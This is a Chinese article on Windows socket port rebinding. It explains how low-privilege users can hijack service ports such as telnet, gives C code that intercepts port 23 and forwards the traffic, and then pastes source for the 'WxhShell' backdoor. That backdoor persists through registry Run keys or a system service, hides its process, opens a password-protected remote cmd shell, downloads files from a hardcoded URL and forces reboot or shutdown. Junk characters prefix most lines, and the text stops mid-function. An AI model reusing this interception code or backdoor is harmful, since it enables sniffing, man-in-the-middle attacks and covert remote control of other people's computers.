在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
J 6S s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]~(Ipz2NP r`cCHZo/V saddr.sin_family = AF_INET;
b@f.Kd7I DZXv3gnX saddr.sin_addr.s_addr = htonl(INADDR_ANY);
nu$LWC- `z3?ET bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
kx1-.~)p(z d~|qx 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
r\[HR ^` |l ~BdP 这意味着什么?意味着可以进行如下的攻击:
{F
k]X#j ;8g#"p*& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+X;6%O; ]'_z(s} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
L#u6_`XJ+ RkLH}`# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
XR\ iQ hBE}?J> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
IHo6& %1HW
) 7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
xm YA/wt8 cp?`\P 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
f8?K_K;\ YQN=.Wtc 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
J&a887 o D*
' #include
;gm){ g #include
&r<<4J(t #include
8`VMdo9 #include
]hvB-R16f DWORD WINAPI ClientThread(LPVOID lpParam);
>uOc#+5M. int main()
v&XG4 & {
w.l#Z} k WORD wVersionRequested;
K)Db3JIIk DWORD ret;
CaBTqo WSADATA wsaData;
&9s6p6eb BOOL val;
$zmES tcm SOCKADDR_IN saddr;
2z[Pw0#V SOCKADDR_IN scaddr;
o
JA58/ int err;
Vn/6D[}Tu SOCKET s;
&7DE$ S SOCKET sc;
Ya9uu@F int caddsize;
q]Qgg HANDLE mt;
i]$d3J3 DWORD tid;
82)d.> wVersionRequested = MAKEWORD( 2, 2 );
]K9x<@! err = WSAStartup( wVersionRequested, &wsaData );
j9u-C/Q\r if ( err != 0 ) {
?>o39|M_w printf("error!WSAStartup failed!\n");
LOida# R return -1;
"W+4`A(/l }
.X2mEnh saddr.sin_family = AF_INET;
c>UITM=!I
2CxdNj //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?|hzAF"U 0KDDAkR5R saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,Fr{i1Ky saddr.sin_port = htons(23);
-~(0:@o ; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u8<=FV3 {
x:2[E- printf("error!socket failed!\n");
9i`LOl:; return -1;
tIr66'8 }
d ,QJf\fc" val = TRUE;
VS).!;>z //SO_REUSEADDR选项就是可以实现端口重绑定的
XPEjMm'*b3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
56bB~=c {
WJ.PPq>]F printf("error!setsockopt failed!\n");
X2e|[MWkp return -1;
s{q2C}=$?D }
2#!$f_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ADBw" ? > //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+bO{UC[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8Peqm?{5Y5 bm+ Mr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
P!O#"(r2] {
kDv)g ret=GetLastError();
|;_
yAL printf("error!bind failed!\n");
1QN]9R0`#7 return -1;
W.67, 0m$ }
^2??]R&Q
listen(s,2);
gR( c; while(1)
]52_p[hZ}< {
B\=&v8 caddsize = sizeof(scaddr);
cKfYkJ)A' //接受连接请求
m|7g{vHVV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
?B}>[ if(sc!=INVALID_SOCKET)
u51/B:+ {
h NoN=J mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^Ue.9#9T&g if(mt==NULL)
c"z%AzUV' {
9/%|#b-z printf("Thread Creat Failed!\n");
N4Lk3] break;
v[|iuOU }
cu"%>>,, }
Ml3F\ fAW CloseHandle(mt);
^4fkZh }
;,A\bmC closesocket(s);
k
Z3tz?Du WSACleanup();
;4_n:XUgo; return 0;
f@}( <# }
S;c=6@" DWORD WINAPI ClientThread(LPVOID lpParam)
{l6]O {
W[?B@ sdSZ SOCKET ss = (SOCKET)lpParam;
)5t_tPv SOCKET sc;
]S[r$<r$ unsigned char buf[4096];
ZV U9 t SOCKADDR_IN saddr;
kU
Flp long num;
ec0vg.>p DWORD val;
ZRHTvxf DWORD ret;
hB.dqv]^ //如果是隐藏端口应用的话,可以在此处加一些判断
j;y|Ys)I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
c1<g!Q&E saddr.sin_family = AF_INET;
#X8[g _d/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
TXa XJIp saddr.sin_port = htons(23);
4|e#b(! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ov|j{}=L=9 {
b?^n'0 printf("error!socket failed!\n");
w#1dO~ return -1;
t}tKm }
4Klfnki val = 100;
QXz!1o+" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
S&Sf}uK {
zXD@M{ ret = GetLastError();
4[ra return -1;
S'O0'5U@ }
JU@$( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+ ND9### {
.3&m:P8zV ret = GetLastError();
;H=6u return -1;
2ya`2 m }
*O5+?J Z! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Q.\>+4]1&& {
QD<4(@c5| printf("error!socket connect failed!\n");
ayD\b6Z2. closesocket(sc);
[GuDMl3hC closesocket(ss);
5^dw!^d return -1;
`R> O5Rv }
t5k&xV=~
# while(1)
)yP>}ME {
E;4a(o]{t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
RFC;1+Jn //如果是嗅探内容的话,可以再此处进行内容分析和记录
fz&}N`n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;x#>J +QlG num = recv(ss,buf,4096,0);
wl%1B64
if(num>0)
LJy'wl send(sc,buf,num,0);
54{"ni2a else if(num==0)
Cg
Sdyg@ break;
|- fx
0y num = recv(sc,buf,4096,0);
fh^_=R(/ if(num>0)
O2G+
' send(ss,buf,num,0);
5dF=DCZ else if(num==0)
+XE21hb
break;
6!nb)auVi }
<@A^C$g closesocket(ss);
"!tB";n closesocket(sc);
Mb>XM7}PU return 0 ;
+7^Ul6BB#K }
.{-yveE 3(:mRb} v,+@
U6i ==========================================================
C\^K6,m5 I/aAx.q 下边附上一个代码,,WXhSHELL
h 3&:"*A2 )rj mJ ==========================================================
CnH
R&` o
FLrSmY)E #include "stdafx.h"
1aE/_ q UnFEg #include <stdio.h>
arP+(1U #include <string.h>
pqSE|3*l #include <windows.h>
$D5U# #include <winsock2.h>
h+UscdUl #include <winsvc.h>
|pqpF?h5| #include <urlmon.h>
)US/bC!M$ AG7}$O. #pragma comment (lib, "Ws2_32.lib")
}dUC^04 #pragma comment (lib, "urlmon.lib")
i!3K G|V _kHpM :;. #define MAX_USER 100 // 最大客户端连接数
%SGO"*_ #define BUF_SOCK 200 // sock buffer
M9#QS`G #define KEY_BUFF 255 // 输入 buffer
p|d9g
^ =!^iiHF #define REBOOT 0 // 重启
@<G/H|f #define SHUTDOWN 1 // 关机
}|Tg_+ aS vE #define DEF_PORT 5000 // 监听端口
`tG_O s
vb4uvY #define REG_LEN 16 // 注册表键长度
}i&dZTBGW #define SVC_LEN 80 // NT服务名长度
dSVu_*y k~f+L O // 从dll定义API
+{%(_< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
b3xkJ&Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
j/D)UWkR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8>Z$/1Mh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
EcoUpiL%2 ^P/D8cXa4 // wxhshell配置信息
CLEG'bZa, struct WSCFG {
e:LZ s0 int ws_port; // 监听端口
$ud>Z;X=P char ws_passstr[REG_LEN]; // 口令
1gm/{w6O int ws_autoins; // 安装标记, 1=yes 0=no
O&w3@9KJ? char ws_regname[REG_LEN]; // 注册表键名
{@5WeWlz~ char ws_svcname[REG_LEN]; // 服务名
cWO
)QIE char ws_svcdisp[SVC_LEN]; // 服务显示名
^-GX&ODa char ws_svcdesc[SVC_LEN]; // 服务描述信息
uV_)JZW,L char ws_passmsg[SVC_LEN]; // 密码输入提示信息
cqY.^f. int ws_downexe; // 下载执行标记, 1=yes 0=no
xm|4\H&Bg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
yH%+cmp7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
lE)rRG+JLW {(}w4.! };
=t$mbI LGRO En<*d // default Wxhshell configuration
P0 ltN struct WSCFG wscfg={DEF_PORT,
)O@^H "xuhuanlingzhe",
!X%!7wsc 1,
Gv,92ny!| "Wxhshell",
9]@J*A}=l "Wxhshell",
o
U}t'WU "WxhShell Service",
sNfb %r "Wrsky Windows CmdShell Service",
P9"D[uz "Please Input Your Password: ",
&]6K]sWJK{ 1,
Kn#xY3W6 "
http://www.wrsky.com/wxhshell.exe",
CS5jJi"pD3 "Wxhshell.exe"
{]\uR-a(o };
N~5WA3xd HwW[M[qA // 消息定义模块
u45h{i-e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
o|qeh<2=x char *msg_ws_prompt="\n\r? for help\n\r#>";
U.Chf9a- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*OOa)P{^D char *msg_ws_ext="\n\rExit.";
.8qzU47E char *msg_ws_end="\n\rQuit.";
5Vnr"d char *msg_ws_boot="\n\rReboot...";
(U'7Fc char *msg_ws_poff="\n\rShutdown...";
(
ssH=a char *msg_ws_down="\n\rSave to ";
1gShV ]2 o\ow{gh9 char *msg_ws_err="\n\rErr!";
y'!p>/%v char *msg_ws_ok="\n\rOK!";
Ot$cmBhw! r(1pvcWY- char ExeFile[MAX_PATH];
3cfZ!E~^kc int nUser = 0;
CESe}^)n HANDLE handles[MAX_USER];
Wytvs*\` int OsIsNt;
EkStb# 3]`qnSYBv SERVICE_STATUS serviceStatus;
"UoCT7X SERVICE_STATUS_HANDLE hServiceStatusHandle;
)fd-IYi-3 Rhv".epz // 函数声明
t6bWSz0 int Install(void);
!
jX+ox int Uninstall(void);
nhP~jJn int DownloadFile(char *sURL, SOCKET wsh);
I"Q9W|J_& int Boot(int flag);
ccN &h void HideProc(void);
/cL9?k;o int GetOsVer(void);
FJjF*2 . int Wxhshell(SOCKET wsl);
I6hhU;)C void TalkWithClient(void *cs);
;;y@z[ > int CmdShell(SOCKET sock);
0^!,[oh6* int StartFromService(void);
i. u15$ int StartWxhshell(LPSTR lpCmdLine);
4-M6C 5#. W}R= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+wz`_i)! VOID WINAPI NTServiceHandler( DWORD fdwControl );
[Yx-l;78 "`jZ(+ // 数据结构和表定义
1!;"bHpk SERVICE_TABLE_ENTRY DispatchTable[] =
s;_#7x# {
G{:af:5Fo {wscfg.ws_svcname, NTServiceMain},
p~,3A:i {NULL, NULL}
zfjD b };
t)oES>W1 (ciGLfNG // 自我安装
K^,&ub.L) int Install(void)
yA!3XUi {
n^JUZ8 char svExeFile[MAX_PATH];
Pzk[^z$C HKEY key;
MOp=9d+N~ strcpy(svExeFile,ExeFile);
@dE 3 !8
wid& // 如果是win9x系统,修改注册表设为自启动
SA`J.4yn if(!OsIsNt) {
} `>J6y9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,WO%L~db RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t7*G91Hoq& RegCloseKey(key);
mq{$9@3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)WP]{ W)r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>uyeI&z RegCloseKey(key);
<nOuyGIZ return 0;
r?"}@MRW }
1&8j3" }
l${Hgn+ }
h=v[i!U-eY else {
_cxm}*}\# %;=IMMK // 如果是NT以上系统,安装为系统服务
Imh2~rw; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}"&n[/8~ if (schSCManager!=0)
=#.8$oa^ {
%)<oX9E SC_HANDLE schService = CreateService
OUlxeo/ (
I*+LJy;j schSCManager,
)I Y 5Y wscfg.ws_svcname,
uHUvntr wscfg.ws_svcdisp,
fw:7Q7
qo SERVICE_ALL_ACCESS,
2rR@2Vsw2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?b*/ddIs SERVICE_AUTO_START,
EaM"=g SERVICE_ERROR_NORMAL,
1*! c
X svExeFile,
dr,B\.|jC NULL,
D% v:PYf NULL,
PEX26== NULL,
_q$0lqq~u NULL,
%2@ Tj}xa NULL
:>tF_6 );
S|{Yvyp if (schService!=0)
{UX"Epd);n {
KD,^*FkkL CloseServiceHandle(schService);
AMh37Xo CloseServiceHandle(schSCManager);
G_2gKkIK- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
DGa#d_I strcat(svExeFile,wscfg.ws_svcname);
~J:$gu~` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{dy`
%It RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
-A~;MGY RegCloseKey(key);
Z%Tq1O return 0;
a!c/5)v( }
eEW roF }
r%g
<hT 8 CloseServiceHandle(schSCManager);
E(aX4^]g }
" ;-{~ }
7X9+Qj; $I)Tk`= return 1;
V!pq,!C$v }
gD,YQ%aq v F.?] u // 自我卸载
Vr&el int Uninstall(void)
RR[)UQ {
i$`|Y* HKEY key;
vKU]80T dp"<KcP_ if(!OsIsNt) {
]97Xu_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.iOw0z RegDeleteValue(key,wscfg.ws_regname);
/gqqKUx RegCloseKey(key);
%gV)arwK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W\I$`gyC/ RegDeleteValue(key,wscfg.ws_regname);
$Q`yNEc RegCloseKey(key);
p/ziFpU return 0;
aNOAu/ }
t/v@vJ`vSH }
\b_-mnN" }
im_w+h%^ else {
^Ei*M0fF U=haXx4N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
cwH,l$ if (schSCManager!=0)
,X9hl J {
;eS;AHZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>%iu!H" if (schService!=0)
%-@'CNP {
rtB|N- if(DeleteService(schService)!=0) {
t Y:G54d=_ CloseServiceHandle(schService);
hrJ$%U
CloseServiceHandle(schSCManager);
+L`V[; return 0;
g>6:CG" }
HO266M CloseServiceHandle(schService);
89*S?C1 }
B]'e$uyL7 CloseServiceHandle(schSCManager);
Tjd&^m }
[=XZza.z }
XoDJzrL# W@:^aH return 1;
#rhVzN-?)W }
2LCc Nbgp_:{ // 从指定url下载文件
$se !8s" int DownloadFile(char *sURL, SOCKET wsh)
Y;fuh[# {
Am2*- HRESULT hr;
'4af
], char seps[]= "/";
}U2[? char *token;
.LX?VD char *file;
PRMZfYc char myURL[MAX_PATH];
21.YO]Et char myFILE[MAX_PATH];
!&@2 1P5*wNF strcpy(myURL,sURL);
~ GNyE*t/Y token=strtok(myURL,seps);
GYFgEg} while(token!=NULL)
k
TF z_*6. {
.[edln file=token;
pO\S#GnX token=strtok(NULL,seps);
o&CghF }
b cC\ l9]o\JFXk GetCurrentDirectory(MAX_PATH,myFILE);
*Zc9yZl2 strcat(myFILE, "\\");
Rb{+Ki strcat(myFILE, file);
5/Ydv
RB67 send(wsh,myFILE,strlen(myFILE),0);
aF D="Zh send(wsh,"...",3,0);
48lzOG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@; W<dJ<X if(hr==S_OK)
S/a/1n$ U return 0;
c}YJqhk0J else
929#Q#TT return 1;
xg(<oDn+\ ;
qO@A1Hq }
60~v
t04 S|l&fb n // 系统电源模块
UP\8w#~ int Boot(int flag)
{;U} :Dx {
w+Ad$4Pf" HANDLE hToken;
G"}qV%"6" TOKEN_PRIVILEGES tkp;
)$MS
0[? Jm?l59bv
v if(OsIsNt) {
i:g{{Uuv OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
OlIT|bzkb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
.=?Sz*3 tkp.PrivilegeCount = 1;
@8|~+y8, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
D[V`^CTu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
H(MB5 if(flag==REBOOT) {
#X4LLS]VV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
a a4$'8s return 0;
!&Z*yH }
uRP
Ff77 else {
O\%j56Bf if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
X
d!Cp return 0;
Gj6<s./ }
Lt>?y&CcQ }
"K8nxnq else {
_\p`4-.V if(flag==REBOOT) {
/#29Y^Z)= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
wtlB return 0;
[70Y,,w }
wbBE@RU>! else {
C2NzP & FD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{>S4#^@} return 0;
ldP3n:7FS }
[qSQ#Qzi2i }
k9cK bf@ $$42pb. return 1;
eDuX"/kHA }
Bhj:9%` &.hoCPo$ // win9x进程隐藏模块
JL@F~U9 void HideProc(void)
Lg8]dBXu {
D4d]3|/T *`%4loW HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~M*7N@D if ( hKernel != NULL )
sb'lZFSP~s {
sbzeY1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9-B@GFB;8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.a {QA FreeLibrary(hKernel);
H%FM }
^Wf
S\M` g/x_m. return;
2mQOj$Lv }
)ukF3;Gt rYbCOazr // 获取操作系统版本
;jF%bE3 int GetOsVer(void)
%t q& {
0"4J"q]& OSVERSIONINFO winfo;
5H~@^!7t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Dp^95V@ GetVersionEx(&winfo);
:r\xkHg/f if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Rb?~ Rs\ return 1;
70{RDj6{ else
@#A!w;bz return 0;
T=.-Cl1A }
QJQJR/g m.!wsw // 客户端句柄模块
jBS'g{y-! int Wxhshell(SOCKET wsl)
Ny]lvgu9X {
r-*l1([eW SOCKET wsh;
%S c=_%6 struct sockaddr_in client;
u9BjgK(M DWORD myID;
f0OgK<.>T 'w:bs! while(nUser<MAX_USER)
CNq[4T'~A {
S3QaYq"v int nSize=sizeof(client);
1}`2\3, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
rJX\6{V!_ if(wsh==INVALID_SOCKET) return 1;
!F-sA: xq TKd6MZhT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Gj)uyjct if(handles[nUser]==0)
*]>])ms) closesocket(wsh);
9+t=| else
K,6OGsh nUser++;
C]M7GHe1q }
&"xQ~05
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
0Lx3]"v ?H<~ac2e return 0;
\d:h$ }
PF m\[2 )}quw"H // 关闭 socket
g(nK$,c void CloseIt(SOCKET wsh)
ERp{gB2U? {
w?*jdwh,' closesocket(wsh);
^zHRSO nUser--;
n? }5! ExitThread(0);
jK e.gA }
_%;M9Sg3 3h LqAj // 客户端请求句柄
72u db^ void TalkWithClient(void *cs)
:1*zr {
;HP#bx 2p+C%"n> SOCKET wsh=(SOCKET)cs;
^B|YO8.v char pwd[SVC_LEN];
>r=6A
char cmd[KEY_BUFF];
1!d)PK>1$ char chr[1];
VJ*\pM@no int i,j;
$3]b>v G@B*E%$9 while (nUser < MAX_USER) {
^g[J*{+!W i2`# if(wscfg.ws_passstr) {
}DbE4"^K7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
oCbpK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
B 2Qp} //ZeroMemory(pwd,KEY_BUFF);
I.-v?1>, i=0;
UTvs
|[ while(i<SVC_LEN) {
!D7"=G}HD $M39 #a // 设置超时
:,47rN,qa fd_set FdRead;
@ R UP$ struct timeval TimeOut;
LfHzT<)| FD_ZERO(&FdRead);
J$rJd9t FD_SET(wsh,&FdRead);
W~<m[#:6C TimeOut.tv_sec=8;
R2CQXhiJ TimeOut.tv_usec=0;
\@8*T S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Fav^^vf*1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}s(C^0x 8ZW?|-i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zWb-pF| pwd
=chr[0]; F(;jM(
if(chr[0]==0xd || chr[0]==0xa) { "Tv:*L5
pwd=0; `[OXVs,7"
break; W"|mpxp
} 8?kP*tmcZ
i++; ld95[cTP
} 1#q^uqO0
5N1}Ns
// 如果是非法用户,关闭 socket aLYLd/ KV
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'g~@"9'oe
} Ox|TMSb^
_0.pvQ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >(OYK}ZN
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HS7_MGU
Co[n--@C
while(1) { vlu$!4I
-p]>Be+^x
ZeroMemory(cmd,KEY_BUFF); gvGi%gq
c_Tzyh7l4
// 自动支持客户端 telnet标准 -zTEL(r
j=0; BJgDo
while(j<KEY_BUFF) { Xo8DEr
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <}]{~y
cmd[j]=chr[0]; rd">JEK;;
if(chr[0]==0xa || chr[0]==0xd) { rw]yKH
cmd[j]=0; XGhwrI ^
break; xHe^"LL
} St2Q7K5s{
j++; 0E1=W6UZ
} ~{P:sjsU
Je@k iE
// 下载文件 kN.B/itvA
if(strstr(cmd,"http://")) { ^SAq^3^P!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); -;U3w.-
if(DownloadFile(cmd,wsh)) EX+,:l\^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n]v7V&mj\
else {@45?L('
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R1/q3x
} GG+5/hU
else { m!:.>y
-bm,:Iy!
switch(cmd[0]) { l2s{~ IC
pC^2Rzf
// 帮助 'W(xgOP1
case '?': { (AuPZ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hbfsHT
break; ;_N"Fdl
} :3 y_mf>
// 安装 $kl$D"*0
case 'i': { h R~v
if(Install()) {xToz]YA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ye@t_,)x
else n,sY\=vB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `m, Ki69.
break; h0lu!m#\_
} `|?]CkP
// 卸载 SM<d
case 'r': { -dG,*0 >
if(Uninstall()) $rB6<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y"*:&E2)r
else puF%=i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pin/qp&Fa8
break; "{ FoA3g|
} yd*3)6=
// 显示 wxhshell 所在路径 { *$9,
case 'p': { i-.c=M
char svExeFile[MAX_PATH]; <m]wi7
strcpy(svExeFile,"\n\r"); CV3DMA
strcat(svExeFile,ExeFile); lhxdx
send(wsh,svExeFile,strlen(svExeFile),0); >A=\8`T^
break; (bvoF5%
} nB&j
// 重启 R04J3D|
case 'b': { s i?HkJv5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W>/UBN3
if(Boot(REBOOT)) o\goE^,aeR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5r7h=[N
else { $H;+}VQ
closesocket(wsh); KoF
iQ?
ExitThread(0); vYdlSe=6G
} 8^vArS;
break; P#*n3&Uu
} *Ru2:}?MpS
// 关机 %E.S[cf%8&
case 'd': { >|nt2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V.2[ F|P;3
if(Boot(SHUTDOWN)) CL1;Inzl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7=3O^=Q^Q
else { hy!6g n
closesocket(wsh); n| C|&
ExitThread(0); o_rtH|ntX5
} 6p m~sD
break; x5F@ad9
} Vhph`[dC{
// 获取shell aS/`A
case 's': { mp:m`sh*i
CmdShell(wsh); L;yEz[#xaT
closesocket(wsh); uA%Ts*aN
ExitThread(0); Ue! Q. "
break; v20~^gKo=m
} P7r4ePtLk{
// 退出 $
S~%Ks C
case 'x': { ET+'Pj3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,]q%/yxi
CloseIt(wsh); RUX8qT(Z
break; -_|]N/v\
} zo44^=~%
// 离开 |X 3">U +-
case 'q': { On%,l
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )E-E0Hl>7
closesocket(wsh); YxyG\J\|,
WSACleanup(); ANb"oX c
exit(1); wv^b_DR
break; (Oq Hfv
} 4swKjN
&
} 1Is%]6
} GA@ Ue9
nq@5j0fK
// 提示信息 5#!ogKQ(i
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [%~^kq=|
} 9-93aC.|}
} Ux_<d?p
GX5W^//}
return; liD47}+
} gn.Ol/6D
TvM24Orct
// shell模块句柄 Sn ^Aud
int CmdShell(SOCKET sock) jsZY{s=
{ pl\b-
STARTUPINFO si; 4>k
I^
ZeroMemory(&si,sizeof(si)); ev"M;"y
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r=$gT@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WIG=D{\Yx
PROCESS_INFORMATION ProcessInfo; Tq#<Po $
char cmdline[]="cmd"; N7pt:G2~%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?K<ZkYw?
return 0; "mtp0
} QnU0"_-
r--;yEjWE
// 自身启动模式 Fr;lG
int StartFromService(void) ugxw!cj
{ <r;o6>+
typedef struct Yrsp%<qj
{ G/(*foT8SE
DWORD ExitStatus; u>|"28y
DWORD PebBaseAddress; ;
8E;
DWORD AffinityMask; G_+Ph^
DWORD BasePriority; .[,6JU%
ULONG UniqueProcessId; 6|oWaA\gI
